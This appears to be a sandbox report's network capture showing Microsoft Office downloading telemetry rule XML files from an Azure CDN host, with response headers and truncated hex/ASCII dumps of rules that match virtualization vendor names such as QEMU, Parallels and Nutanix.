2024-10-07 01:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 27cd2a1a-001e-0046-1b08-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012306Z-1657d5bbd48sdh4cyzadbb374800000002h000000000t061 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012306Z-1657d5bbd48brl8we3nu8cxwgn000000034g000000008tyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012306Z-1657d5bbd48brl8we3nu8cxwgn000000034g000000008tyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48xlwdx82gahegw400000000320000000003nb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48wd55zet5pcra0cg00000002v00000000032qc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48p2j6x2quer0q028000000031g000000005c6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48cpbzgkvtewk0wu000000002sg00000000rpmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48gqrfwecymhhbfm800000001pg000000005xar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ef9cab6f-f01e-0099-0d00-179171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48lknvp09v995n79000000002cg00000000fvb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48f7nlxc7n5fnfzh000000002ag00000000sz7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f519f63-901e-0016-75ff-16efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012307Z-1657d5bbd48cpbzgkvtewk0wu000000002ug00000000kc0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:07 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: b67c2655-301e-0096-2300-17e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012308Z-1657d5bbd48762wn1qw4s5sd3000000002m000000000nebf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
